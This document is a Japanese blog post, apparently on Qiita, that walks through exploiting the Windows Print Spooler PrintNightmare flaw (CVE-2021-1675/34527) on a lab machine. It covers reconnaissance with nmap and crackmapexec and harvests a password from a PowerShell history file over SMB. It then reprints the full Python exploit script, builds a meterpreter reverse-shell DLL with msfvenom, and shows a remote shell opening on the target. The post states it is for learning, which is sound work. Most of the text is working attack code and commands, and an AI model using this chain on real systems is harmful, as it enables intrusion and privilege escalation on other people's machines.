LoginSignup
1
1

Windows Print Spooler脆弱性_CVE-2021-1675_CVE-2021-34527_PrintNightmare_検証

Last updated at Posted at 2023-10-01

投稿記事は、学習のため投稿しております。
本投稿内容を基に、商用環境への悪用は行わないでください。

概要

 2021年6月9日に公開された脆弱性である権限昇格の脆弱性(CVE-2021-1675,CVE-2021-34527)について、PoCコードを基に攻撃例を紹介する記事となります。

偵察(Reconnaissance)

NMAPで使用されているサービスの調査

NMAPのコマンド

nmap -sV [標的のIPアドレス]

ポートスキャン結果

Starting Nmap 7.93 ( https://nmap.org ) at xxx
Nmap scan report for [標的のIPアドレス]
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds

crackmapexecを用いたWindows Active Directoryの調査

crackmapexecを用いてWindows Active Directoryの情報収集

crackmapexec smb [標的のIPアドレス] --shares

crackmapexecの実行結果

SMB         [標的のIPアドレス]   445    PRINTNIGHTMARE   [*] Windows 10.0 Build 17763 x64 (name:PRINTNIGHTMARE) (domain:PrintNightmare) (signing:False) (SMBv1:False)
SMB         [標的のIPアドレス]   445    PRINTNIGHTMARE   [-] Error enumerating shares: [Errno 32] Broken pipe

netコマンドを用いた共有設定調査

netコマンドを使用して共有設定を確認する。

net -S [標的のIPアドレス] rpc SHARE
又は
net -S [標的のIPアドレス] rpc SHARE -U [標的のユーザ名]

netコマンドの実行結果

Password for [端末のドメイン]:
ADMIN$
C$
IPC$
[標的のファイル]
Users

初期アクセス(Initial Access)

SMB接続

SMBClientを用いてSMBに接続

smbclient //[標的のIPアドレス]/[標的の共有ファイル]

クレデンシャル情報の捜索

PowerShellのhistoryログ入手

smb: \> cd AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
smb: \> dir
.                                   D        0  Mon Nov 15 18:16:51 2021
  ..                                  D        0  Mon Nov 15 18:16:51 2021
  ConsoleHost_history.txt             A      164  Mon Nov 15 18:29:59 2021

SMBのgetコマンドでファイルを入手

get ConsoleHost_history.txt

以下ファイルを入手

cat ConsoleHost_history.txt 
Get-FileHash .\[ファイル名]
whoami
winvnc -install -user [ユーザ名] -p "[パスワード]" -run
Get-Process
Get-OdbcDsn
Get-OffloadDataTransferSetting

CVE-2021-1675のPoCコード

CVE-2021-1675.py
#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import pathlib

#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
    structure = (
        ('cVersion','<L'),
        ('NameOffset', '<L'),
        ('EnvironmentOffset', '<L'),
        ('DriverPathOffset', '<L'),
        ('DataFileOffset', '<L'),
        ('ConfigFileOffset', '<L'),
    )

    def __init__(self, data = None):
        Structure.__init__(self, data = data)
    
    def fromString(self, data, offset=0):
        Structure.fromString(self, data)
        self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
        self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le')
        self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le')
        self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le')
        #self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le')

class DRIVER_INFO_2_ARRAY(Structure):
    def __init__(self, data = None, pcReturned = None):
        Structure.__init__(self, data = data)
        self['drivers'] = list()
        remaining = data
        if data is not None:
            for i in range(pcReturned):
                attr = DRIVER_INFO_2_BLOB(remaining)
                self['drivers'].append(attr)
                remaining = remaining[len(attr):]

def connect(username, password, domain, lmhash, nthash, address, port):
    binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
    rpctransport = transport.DCERPCTransportFactory(binding)
    
    rpctransport.set_dport(port)
    rpctransport.setRemoteHost(address)
    
    if hasattr(rpctransport, 'set_credentials'):
        # This method exists only for selected protocol sequences.
        rpctransport.set_credentials(username, password, domain, lmhash, nthash)
    
    print("[*] Connecting to {0}".format(binding))
    try:
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(rprn.MSRPC_UUID_RPRN)
    except:
        print("[-] Connection Failed")
        sys.exit(1)
    print("[+] Bind OK")
    return dce


def getDriver(dce, handle=NULL):
    #get drivers
    resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
    blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned'])
    for i in blobs['drivers']:
        if "filerepository" in i['DriverPathArray'].lower():
            return i
    
    print("[-] Failed to find driver")
    sys.exit(1)


def main(dce, pDriverPath, share, handle=NULL):
    #build DRIVER_CONTAINER package
    container_info = rprn.DRIVER_CONTAINER()
    container_info['Level'] = 2
    container_info['DriverInfo']['tag'] = 2
    container_info['DriverInfo']['Level2']['cVersion']     = 3
    container_info['DriverInfo']['Level2']['pName']        = "1234\x00"
    container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
    container_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
    container_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
    container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\winhttp.dll\x00"
    
    flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
    filename = share.split("\\")[-1]

    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
    print("[*] Stage0: {0}".format(resp['ErrorCode']))

    container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\kernelbase.dll\x00"
    for i in range(1, 30):
        try:
            container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
            resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
            print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
            if (resp['ErrorCode'] == 0):
                print("[+] Exploit Completed")
                sys.exit()
        except Exception as e:
            #print(e)
            pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help = True, description = "MS-RPRN PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
    """)
    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
    parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group = parser.add_argument_group('connection')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    #connect
    dce = connect(username, password, domain, lmhash, nthash, options.target_ip, options.port)
    #handle = "\\\\{0}\x00".format(address)
    handle = NULL

    #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
    if not options.pDriverPath:
        try:
            blob = getDriver(dce, handle)
            pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
            if not "FileRepository" in pDriverPath:
                print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
                print("[-] Specify pDriverPath manually")
                sys.exit(1)
        except Exception as e:
            print('[-] Failed to enumerate remote pDriverPath')
            print(str(e))
            sys.exit(1)
    else:
        pDriverPath = options.pDriverPath

    if "\\\\" in options.share:
        options.share = options.share.replace("\\\\","\\??\\UNC\\")

    print("[+] pDriverPath Found {0}".format(pDriverPath))
    print("[*] Executing {0}".format(options.share))

    #re-run if stage0/stageX fails
    print("[*] Try 1...")
    main(dce, pDriverPath, options.share)
    print("[*] Try 2...")
    main(dce, pDriverPath, options.share)
    print("[*] Try 3...")
    main(dce, pDriverPath, options.share)

git cloneでダウンロード

git clone https://github.com/cube0x0/CVE-2021-1675.git

脆弱なホストであるかどうかを調査するためスキャンを実施

※値が返された場合は、脆弱性である可能性がある。

rpcdump.py @[標的のIPアドレス] | egrep 'MS-RPRN|MS-PAR'

実行結果

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 

実行(Execution)

metasploitでshellコードを作成する。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[端末のIPアドレス] LPORT=[ポート指定] -f dll -o shell.dll

shell.dllが作成される

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

matasploitで待ち受け

msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.10.14.4:4444 

端末側でsmbを設定

sudo smbserver.py -smb2support share .
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

CVE-2021-1675の実行

python3 CVE-2021-1675/CVE-2021-1675.py [標的のドメイン]/[入手したユーザ名]:'[入手したパスワード]'@[標的のIPアドレス] '\\[端末のIPアドレス]\share\shell.dll'

SMBへ接続後shall.dllを標的にダウンロードさせる

Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Config file parsed
[*] Callback added for UUID XXX V:3.0
[*] Callback added for UUID CCC V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection ([標的のIPアドレス],49673)
[*] AUTHENTICATE_MESSAGE (\,PRINTNIGHTMARE)
[*] User PRINTNIGHTMARE\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:share)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:share)
[*] Closing down connection ([標的のIPアドレス],49673)
[*] Remaining connections []

metasploitのコンソールで標的のWindowsにログイン

[*] Started reverse TCP handler on [端末のIPアドレス]:4444 
[*] Sending stage (200774 bytes) to [標的のIPアドレス]
[*] Meterpreter session 1 opened ([端末のIPアドレス]:4444 -> [標的のIPアドレス]:49674) at xxxx

(Meterpreter 1)(C:\Windows\system32) > whoami
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1